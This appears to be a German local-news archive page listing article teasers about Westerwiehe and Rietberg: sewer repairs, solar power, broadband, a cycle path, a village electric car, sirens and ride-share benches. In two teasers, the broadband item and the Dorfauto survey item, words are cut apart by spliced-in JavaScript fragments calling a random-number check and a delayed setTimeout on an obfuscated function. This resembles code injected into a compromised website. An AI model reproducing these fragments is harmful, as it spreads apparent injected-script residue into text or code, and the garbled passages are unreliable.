Category Archives: Westerwiehe

Kanalsanierung ohne zu baggern

In den kommenden Wochen stehen in Neuenkirchen, Rietberg und Westerwiehe einige Kanalsanierungen an. Die Schäden an Schmutz- und Regenwasserkanal können glücklicherweise in geschlossener Bauweise saniert werden, also ohne Aufgrabung. Dennoch lassen sich Verkehrsbehinderungen nicht vollständig vermeiden. Sanierungsfahrzeuge verschiedener Firmen müssen über mehrere Monate immer wieder einmal an den Schächten stehen. Die Stadtverwaltung Rietberg bittet um

Kraftfutterwerk wird aus der Sonne gespeist

Mit 160 Kilowatt-Peak (kWp) installierter Leistung ist die neue Photovoltaikanlage auf dem Dach der Sackwarenhalle der Raiffeisen-Landbund-Genossenschaft (RLB) schon eine ordentliche Größe. „Das Kraftfutterwerk verbraucht viel Energie“, sagt Geschäftsführer Wolfgang Oesterschlink, „da müssen wir ständig die Arbeitsabläufe optimieren und den Energieverbrauch senken, damit wir Kosten einsparen können.“ Für die Stadt Rietberg ist die neue Anlage

Stadt will weiße Internet-Flecken tilgen

Die Stadt Rietberg macht sich nun auf, auch die letzten weißen Flecken in der Rietberger Internetlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andschaft zu tilgen. Weil es in den Außenbereichen aller Stadtteile und auch in den Innenbereichen von Bokel, Druffel und Westerwiehe vereinzelte Haushalte mit einer schlechten Internetversorgung gibt, strebt die Stadtverwaltung einen erneuten

Bürgerradweg in Westerwiehe wird fortgeführt

Im kommenden Jahr soll der Bürgerradweg entlang der Westerwieher Straße in Richtung Osten fortgeführt werden. Schon vor vier Jahren war ein erster, etwa 800 Meter langer Radweg bis zur Straße Binnerfeld gebaut worden. Nun, da die nötigen Grundstücksfragen geklärt sind, sollen weitere knapp 800 Meter bis Zum Sporkfeld folgen. Und sogar bis hinter die Kreuzung

Kein Bedarf für ein Dorfauto in Westerwiehe

Der Rietberger Ortsteil Westerwiehe hat keinen Bedarf für ein gemeinsames Dorfauto aller Bürger. Das geht aus der jüngsten Umfrage in Rietbergs östlichstem Stadtteil hervor. Einerseits waren nur rund 40 Antworten eingegangen, zum andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen war die geäußerte Meinung eindeutig: In den meisten Haushalten ist ein eigener Pkw vorhandom()

Fragebogenaktion zum E-Dorfauto gestartet

Andere Orte haben schon eins, Westerwiehe könnte bald eines bekommen: ein Dorfauto. Nicht irgendeins, sondern ein umweltfreundliches Elektrofahrzeug. Wie die Westerwieher zu dieser Idee stehen, das möchten die städtische Klimaschutzmanagerin Svenja Schröder und Ortsvorsteher Detlev Hanemann aktuell mit einer Fragebogenaktion herausfinden. In den Räumen der Westerwieher Volksbank liegen Exemplare aus, darüber hinaus verteilen Ehrenamtliche in

Ein E-Auto für das ganze Dorf

Bürger in Rietbergs fünftgrößtem Stadtteil, die kein eigenes Auto haben, könnten künftig dennoch flexibel und mobil durch die Gegend fahren. Westerwiehe soll ein eigenes Dorfauto bekommen – umweltfreundlich mit Strom betrieben und für jedermann nutzbar. So die Idee, die Rietbergs Klimaschutzmanagerin Svenja Schröder jetzt den Bürgern vorstellte. Laut einer Studie des Bundesministeriums für Verkehr und

Fachfirma saniert Bankette und Asphaltschichten

Mehrere Wirtschaftswege hat sich die Stadt in den Ortsteilen Mastholte, Neuenkirchen, Varensell und Westerwiehe vorgenommen, in den nächsten Wochen zu sanieren. Das ist das Ergebnis der umfangreichen Erfassung und Kategorisierung sämtlicher Straßen und Wege im Stadtgebiet. Auf der Prioritätenliste ganz oben stehen die Straßen Eichenallee, Feldkamp, Eltzbacher Weg, Grüner Weg, Berkenheide und Hedafeld. An diesen

Weitere Sirenen in Druffel und Westerwiehe

Auch in Druffel und Westerwiehe sind jetzt zwei Sirenen installiert worden. Diese Möglichkeit, die Bevölkerung zu alarmieren und zu warnen, war schon fast in Vergessenheit geraten, erlebt aber derzeit eine Renaissance. Die Sirenen werden über die Rettungsleitstelle gesteuert. Sie sollen nicht nur im Fall einer außergewöhnlichen Katastrophe eingeschaltet werden, wie beispielsweise einem Hochwasser oder einem

Neue Bürgerbänke für spontane Fahrgemeinschaften

Wenn keine öffentlichen Busse fahren und auch der mehrfach gewünschte Bürgerbus nicht realisiert werden kann, dann helfen sich die Menschen in Westerwiehe selbst: Sie stellen Bürgerbänke auf. Diese neue Initiative will das »Trampen im Sitzen« etablieren. Immer mehr Menschen sind immer weniger mobil. Wer insbesondere in den kleineren Stadtteilen kein eigenes Auto hat, hat es